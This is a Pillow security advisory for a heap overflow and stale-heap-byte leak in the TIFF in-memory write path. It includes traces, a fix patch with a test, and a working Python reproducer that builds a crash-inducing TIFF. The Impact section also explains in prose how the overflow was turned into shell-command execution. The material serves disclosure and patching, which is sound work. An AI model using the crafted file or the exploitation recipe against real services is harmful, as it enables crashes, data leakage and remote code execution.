GHSA-332p-7hrc-92wf

Suggest an improvement
Source
https://github.com/advisories/GHSA-332p-7hrc-92wf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-332p-7hrc-92wf/GHSA-332p-7hrc-92wf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-332p-7hrc-92wf
Aliases
Published
2026-10-21T21:28:09Z
Modified
2026-10-21T21:45:08Z
Severity
  • 9.2 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
Details
============================================================================
Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
Location: src/libImaging/TiffDecode.c:94  in _tiffWriteProc()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as io.BytesIO rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.

The bug is in _tiffWriteProc in src/libImaging/TiffDecode.c. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no fileno(). While writing the directory, libtiff seeks past the current end of data and writes tag values there. _tiffWriteProc sizes its realloc() from state->size + size instead of from the write position state->loc. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.

No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives copy() in im.info. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.

The attached reproducer builds a 131 KB PackBits TIFF and runs Image.open(...).save(io.BytesIO(), "TIFF"). Saving the same image to a file path succeeds, but the BytesIO save aborts with glibc's malloc(): corrupted top size. A second part of the script shows uninitialised heap bytes at the padding offsets of a BytesIO save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.

Details

When im.save() writes a TIFF through libtiff to a target that has no usable fileno() (io.BytesIO, an HTTP response object, a storage backend stream), libtiff is opened with TIFFClientOpen() on Pillow's own in-memory sink, _tiffWriteProc / _tiffSeekProc in src/libImaging/TiffDecode.c. libtiff treats that sink like a file: when it writes the directory it seeks beyond the current end of data (to eof + IFD size, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:

  1. _tiffWriteProc sizes its realloc() from state->size + size instead of state->loc + size, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved.
  2. The bytes that libtiff skips are never written, and the grown region is a bare realloc(), so they reach the output TIFF with whatever the heap held before.

Both are reachable with default settings by the ordinary "re-encode the upload" sequence Image.open(upload); im.save(io.BytesIO(), "TIFF") with no save options: compression defaults to the source file's (src/PIL/TiffImagePlugin.py:1734), any compression other than raw selects the libtiff writer (:1746), the source's tag_v2 entries are passed through to libtiff (:1959), and a target without fileno() leaves _fp = 0 (:1928-1935), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened TiffImageFile saved directly (tag_v2 passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After convert()/resize()/thumbnail()/copy() the tag_v2 entries are gone, but im.info["compression"] (still selecting libtiff) and im.info["icc_profile"] survive and the ICC profile is written as tag 34675 (:1822-1824), an equally attacker-controlled out-of-line value: Image.open(x).copy().save(BytesIO(), "TIFF") with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.

Proof (overflow). A 131 198-byte hand-built TIFF — mode L, 7×8191, Compression=32773 (PackBits), an ImageDescription of 65 535 characters — opened with Image.open() and saved with im.save(io.BytesIO(), "TIFF") aborts a stock build with glibc's malloc(): corrupted top size. The same call against an AddressSanitizer build of the C extensions reports

AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536
 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115
 #4 TIFFFlush
 #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056
0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103

Proof (uninitialised bytes). Saving one 300×300 RGB image as compression="tiff_lzw" with four odd-length ASCII tags to a BytesIO, once with MALLOC_PERTURB_=1 (glibc fills fresh allocations with 0xfe) and once with MALLOC_PERTURB_=170 (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 — the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB–400 KB Python bytes objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets.

Code walk-through

The sink's state is {data, size (allocated), loc (position), eof (high-water mark)}; the encoder path starts it as a zeroed 64 KiB block (TiffDecode.c:863, calloc(bufsize, 1) with bufsize = 64*1024, flrealloc = 1). Seeking is unconstrained:

/* src/libImaging/TiffDecode.c:124-141  _tiffSeekProc */
    case 0: state->loc = off;            break;   /* may exceed eof and size */
    case 1: state->loc += off;           break;
    case 2: state->loc = state->eof + off; break;

and writing assumes loc <= size:

/* src/libImaging/TiffDecode.c:90-117  _tiffWriteProc */
    to_write = MIN(size, state->size - (tsize_t)state->loc);   /* negative if loc > size */
    if (state->flrealloc && size > to_write) {
        tsize_t newsize = state->size;
        while (newsize < (size + state->size)) {               /* capacity target ignores loc */
            …
            newsize += 64 * 1024;
        }
        new_data = realloc(state->data, newsize);              /* tail left uninitialised */
        …
        state->size = newsize;
        to_write = size;
    }
    _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write);   /* :115 */
    state->loc += (toff_t)to_write;
    state->eof = MAX(state->loc, state->eof);

A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it:

write size=63064 at loc=8      (eof=8     size=65536)     strip data (PackBits re-encode:
write size=2464  at loc=63072  (eof=63072 size=65536)      8 bytes/row × 8191 rows)
seek  off=0     whence=2       -> loc=65536 = eof = size   TIFFWriteDirectory: end of data, already even
seek  off=4;  write size=4 at loc=4                        link IFD offset into header
seek  off=65662 whence=0       (eof=65536 size=65536)      65536 + 126-byte IFD (10 entries) = tag data area
write size=65536 at loc=65662  (eof=65536 size=65536)      ImageDescription, first out-of-line value

For that last call to_write = 65536 − 65662 = −126, the loop grows newsize until it is ≥ 65536 + 65536, i.e. to 131072, and the memcpy writes [65662, 131198) into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. loc/eof become 131198 > size; ImagingLibTiffEncode later sets size = eof (:1067) and copies [0, eof) out of the same block (:1073), reading past it as well.

The general condition is: at directory-write time the strip data ends within IFD-size bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is IFD size + pad − slack, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F…) BitsPerSample is stored inline and the first out-of-line value in tag order is DocumentName (269) or ImageDescription (270) — both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes → 8 bytes per row → exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte BitsPerSample array is written first and absorbs the growth, which is why RGB sources do not hit the overflow.

The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (seek off=369418 (loc=369417), write size=5 at loc=369418, …). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the realloc() calls at :103 (the block grew 65536 → 196608 → 327680 → 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is calloc'd.

The defect was introduced in e782fe721e01 ("initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support", 2013-03-08), first released in Pillow 2.0.0.

Impact

Any service that accepts an image and produces a TIFF rendition into a non-file object — the usual pattern for returning or uploading the result without touching disk — is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives convert()/resize()/thumbnail()/copy() in im.info together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries — 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class realloc block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (SIGABRT).

Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib http.server worker doing nothing but Image.open(BytesIO(body)).save(BytesIO(), "TIFF") per upload executed an attacker-chosen shell command (id>/tmp/r.XXXXXX), answered 200 and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (&system, &PyBytes_Type) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397×165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because TiffImagePlugin turns every IFD entry into one bytes object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (TiffImagePlugin.py:1258, :1271, and getexif() from load_end() at :1331), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB realloc of the sink lands directly below a live 0x540 chunk followed by libtiff's own TIFF handle (malloc(1313) from TIFFClientOpen). The 2384 overflowing bytes rewrite the start of the TIFF struct with the command string, a zeroed tif_dir, tif_diroff = 65536, and tif_cleanup = system at +0x3f8; libtiff resumes TIFFWriteDirectorySec on the modified handle and calls (*tif->tif_cleanup)(tif). With gdb on __libc_system the call arrives as __libc_system("id>/tmp/r.…") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) ← _encode (src/encode.c:139). Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this _imaging.so), all obtainable from public distribution files.

Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file — low bandwidth, but it is other requests' freed data. File-path and real-fd targets (TIFFFdOpen) are unaffected by either issue. The primitive is the same class and attacker position as the TiffDecode.c decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug.

Reproducing

repro is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through TIFFFdOpen and is correct, with the same save into an io.BytesIO, which goes through the _tiffWriteProc memory sink.

Part 1: heap overflow. setup_env() builds upload.tif (131 198 bytes) byte by byte: a mode L, 7×8191 image with Compression=32773 (PackBits) and a 65 535-character ImageDescription. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 × 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs Image.open("upload.tif").save(<target>, "TIFF") with no options, once with "out.tif" as the target and once with io.BytesIO(). The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting malloc(): corrupted top size.

Part 2: stale heap bytes in the output. A child started with MALLOC_PERTURB_=170 (glibc fills fresh allocations with 0x55) saves a seeded-noise 300×300 RGB image with compression="tiff_lzw" and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised realloc() memory.

Expected output on this tree:

upload.tif: 131198 bytes
save to file path : exit code 0, out.tif = 131210 bytes
save to BytesIO   : exit code -6, stderr: 'malloc(): corrupted top size'
-> heap overflow crashed the process: True

same image, same options, saved to a file path vs. to a BytesIO:
  offset 369177: file 0x00   BytesIO 0x55
  offset 369417: file 0x00   BytesIO 0x55
  offset 369423: file 0x00   BytesIO 0x55
  offset 369451: file 0x00   BytesIO 0x55

-> BytesIO output contains never-written heap bytes: True

BUG

The last line is BUG if either part shows its defect, and OK otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints OK.

Suggested fix

The attached patch makes _tiffWriteProc in src/libImaging/TiffDecode.c honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what realloc() adds (the initial block is already calloc'd, so every byte libtiff skips then reads as 0, exactly as through TIFFFdOpen). For the non-reallocating case (flrealloc == 0), where loc > size would also make to_write negative, it rejects the write with a TIFFError, the same idiom _tiffReadProc uses:

-        while (newsize < (size + state->size)) {
+        while (newsize < (size + (tsize_t)state->loc)) {
 …
+        memset((UINT8 *)new_data + state->size, 0, newsize - state->size);
         state->data = new_data;
         state->size = newsize;
         to_write = size;
+    } else if (to_write < 0) {
+        TIFFError("_tiffWriteProc", "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, …);
+        return 0;
     }

_tiffSeekProc is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, eof can no longer exceed size, so the read-out in ImagingLibTiffEncode (:1067, :1073) stays within the block. The patch also adds test_save_bytesio_seek_past_end to Tests/test_file_libtiff.py, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a BytesIO and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass.

The patch

Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc

Applies to src/libImaging/TiffDecode.c at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..d2a926a62 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase):
         save_bytesio("packbits")
         save_bytesio("tiff_lzw")
 
+    def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None:
+        # When writing the directory, libtiff seeks past the end of the data
+        # written so far, and then writes the tag values there. Check that the
+        # in-memory write buffer grows to fit, and that the bytes that are
+        # skipped over are zero, as they would be when writing to a file.
+
+        # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip
+        # plus the header are exactly 64 KiB, the initial size of the buffer
+        im = Image.new("L", (7, 8191))
+        im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)])
+        kwargs = {"compression": "packbits", "description": "D" * 65535}
+
+        outfile = tmp_path / "temp.tif"
+        im.save(outfile, **kwargs)
+        buffer_io = io.BytesIO()
+        im.save(buffer_io, format="tiff", **kwargs)
+        assert buffer_io.getvalue() == outfile.read_bytes()
+
+        # odd-length tag values, so that libtiff pads between them. Large enough
+        # that the buffer has to be reallocated
+        im = hopper().resize((300, 300))
+        kwargs = {
+            "compression": "tiff_lzw",
+            "description": "abcdef",
+            "software": "xyz0",
+            "tiffinfo": {315: "artist", 33432: "copyright!"},
+        }
+        im.save(outfile, **kwargs)
+        buffer_io = io.BytesIO()
+        im.save(buffer_io, format="tiff", **kwargs)
+        assert buffer_io.getvalue() == outfile.read_bytes()
+
     def test_save_ycbcr(self, tmp_path: Path) -> None:
         im = hopper("YCbCr")
         outfile = tmp_path / "temp.tif"
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..dd9945493 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {
     TRACE(("_tiffWriteProc: %d \n", (int)size));
     dump_state(state);
 
+    // libtiff may have seeked past the end of the buffer, e.g. when writing the
+    // directory, so the required size is based on the current location.
     to_write = MIN(size, state->size - (tsize_t)state->loc);
     if (state->flrealloc && size > to_write) {
         tdata_t new_data;
         tsize_t newsize = state->size;
-        while (newsize < (size + state->size)) {
+        while (newsize < (size + (tsize_t)state->loc)) {
             if (newsize > INT_MAX - 64 * 1024) {
                 return 0;
             }
@@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {
             // fail out
             return 0;
         }
+        // zero the new space, so that any bytes libtiff seeks over without
+        // writing are 0 in the output, as they would be in a file
+        memset((UINT8 *)new_data + state->size, 0, newsize - state->size);
         state->data = new_data;
         state->size = newsize;
         to_write = size;
+    } else if (to_write < 0) {
+        TIFFError(
+            "_tiffWriteProc",
+            "Invalid Write at loc %" PRIu64 ", size: %" PRIu64,
+            state->loc,
+            (toff_t)state->size
+        );
+        return 0;
     }
 
     TRACE(("to_write: %d\n", (int)to_write));

The reproducer

Reproducer — repro, 5,434 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
"""
Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink
(_tiffWriteProc, src/libImaging/TiffDecode.c).

im.save(<BytesIO>, "TIFF") with any compression goes through libtiff writing
into Pillow's memory sink. When libtiff writes the directory it seeks *past*
the end of the data written so far and writes tag values there:

  1. _tiffWriteProc grows the buffer to `size + write_len` instead of
     `loc + write_len`, so that write can run off the end of the allocation.
  2. The bytes libtiff skipped over are never written, so whatever the heap
     held there ends up in the output file.

The same saves to a file path are fine (the kernel zero-fills skipped bytes),
which is the control for both parts.
"""
import os
import resource
import struct
import subprocess
import sys
import tempfile

resource.setrlimit(resource.RLIMIT_CORE, (0, 0))   # the overflow aborts; no core file
os.chdir(tempfile.mkdtemp())


def run(code, **env):
    """Run a Python snippet against the installed Pillow in a fresh process."""
    return subprocess.run([sys.executable, "-c", code], env={**os.environ, **env},
                          capture_output=True, text=True)


def setup_env():
    """Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription.

    Sizes are chosen so that, when Pillow re-encodes it:
      - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes,
        i.e. the data ends exactly at the sink's initial 64 KiB buffer;
      - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes
        and goes at 65536 + 126 (the 10-entry IFD sits in between).
    The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198):
    the last 126 bytes of the description land past the end of the heap block.
    """
    w, h = 7, 8191
    # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes
    strip = b"".join(b"\x06" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h))
    desc = b"D" * 65535 + b"\x00"
    strip_off, desc_off = 8, 8 + len(strip)
    ifd_off = desc_off + len(desc)
    entries = [
        (256, 4, 1, w),                  # ImageWidth
        (257, 4, 1, h),                  # ImageLength
        (258, 3, 1, 8),                  # BitsPerSample
        (259, 3, 1, 32773),              # Compression = PackBits (inherited by save())
        (262, 3, 1, 1),                  # PhotometricInterpretation = BlackIsZero
        (270, 2, len(desc), desc_off),   # ImageDescription (carried into save() via tag_v2)
        (273, 4, 1, strip_off),          # StripOffsets
        (277, 3, 1, 1),                  # SamplesPerPixel
        (278, 4, 1, h),                  # RowsPerStrip
        (279, 4, 1, len(strip)),         # StripByteCounts
    ]
    ifd = struct.pack("<H", len(entries))
    ifd += b"".join(struct.pack("<HHII", *e) for e in entries)
    ifd += struct.pack("<I", 0)
    with open("upload.tif", "wb") as f:
        f.write(struct.pack("<2sHI", b"II", 42, ifd_off) + strip + desc + ifd)


# ---------------------------------------------------------------------------
# Part 1: heap buffer overflow. Re-save an uploaded TIFF with no options.
# ---------------------------------------------------------------------------
setup_env()
print(f"upload.tif: {os.path.getsize('upload.tif')} bytes")

RESAVE = 'from PIL import Image; import io; Image.open("upload.tif").save({target}, "TIFF")'

# Control: saving to a file path (real fd, no memory sink) works
control = run(RESAVE.format(target='"out.tif"'))
print(f"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes")

# PoC: the identical save into a BytesIO
poc = run(RESAVE.format(target="io.BytesIO()"))
print(f"save to BytesIO   : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}")

# A process killed by a signal (SIGABRT from glibc's heap check) = heap corrupted
overflow = control.returncode == 0 and poc.returncode < 0
print(f"-> heap overflow crashed the process: {overflow}\n")


# ---------------------------------------------------------------------------
# Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill
# fresh allocations with 0x55, so never-written bytes become visible.
# ---------------------------------------------------------------------------
STALE = r'''
import io, random
from PIL import Image
random.seed(1)
im = Image.new("RGB", (300, 300))      # noise -> ~360 KB LZW, so the sink must realloc()
im.putdata([tuple(random.randrange(256) for _ in "rgb") for _ in range(300 * 300)])
# odd-length ASCII tags: libtiff skips one pad byte after each
kw = dict(compression="tiff_lzw", description="abcdef", software="xyz0",
          tiffinfo={315: "artist", 33432: "copyright!", 306: "2024:01:01 00:00:00"})
im.save("ref.tif", "TIFF", **kw)
buf = io.BytesIO()
im.save(buf, "TIFF", **kw)
a, b = open("ref.tif", "rb").read(), buf.getvalue()
for i in (i for i in range(len(a)) if a[i] != b[i]):
    print(f"  offset {i}: file 0x{a[i]:02x}   BytesIO 0x{b[i]:02x}")
'''
stale = run(STALE, MALLOC_PERTURB_="170").stdout
print("same image, same options, saved to a file path vs. to a BytesIO:")
print(stale or "  outputs identical")
leak = "BytesIO 0x55" in stale
print(f"-> BytesIO output contains never-written heap bytes: {leak}\n")

print("BUG" if overflow or leak else "OK")

Database specific
{
    "cwe_ids":  [
        "CWE-122"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-21T21:28:09Z",
    "nvd_published_at":  "2026-10-19T21:17:07Z",
    "severity":  "CRITICAL"
}
References

Affected packages

PyPI / pillow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
13.0.0

Affected versions

2.*
2.0.0
2.1.0
2.2.0
2.2.1
2.2.2
2.3.0
2.3.1
2.3.2
2.4.0
2.5.0
2.5.1
2.5.2
2.5.3
2.6.0
2.6.1
2.6.2
2.7.0
2.8.0
2.8.1
2.8.2
2.9.0
3.*
3.0.0
3.1.0.rc1
3.1.0rc1
3.1.0
3.1.1
3.1.2
3.2.0
3.3.0
3.3.1
3.3.2
3.3.3
3.4.0
3.4.1
3.4.2
4.*
4.0.0
4.1.0
4.1.1
4.2.0
4.2.1
4.3.0
5.*
5.0.0
5.1.0
5.2.0
5.3.0
5.4.0.dev0
5.4.0
5.4.1
6.*
6.0.0
6.1.0
6.2.0
6.2.1
6.2.2
7.*
7.0.0
7.1.0
7.1.1
7.1.2
7.2.0
8.*
8.0.0
8.0.1
8.1.0
8.1.1
8.1.2
8.2.0
8.3.0
8.3.1
8.3.2
8.4.0
9.*
9.0.0
9.0.1
9.1.0
9.1.1
9.2.0
9.3.0
9.4.0
9.5.0
10.*
10.0.0
10.0.1
10.1.0
10.2.0
10.3.0
10.4.0
11.*
11.0.0
11.1.0
11.2.1
11.3.0
12.*
12.0.0
12.1.0
12.1.1
12.2.0
12.3.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-332p-7hrc-92wf/GHSA-332p-7hrc-92wf.json"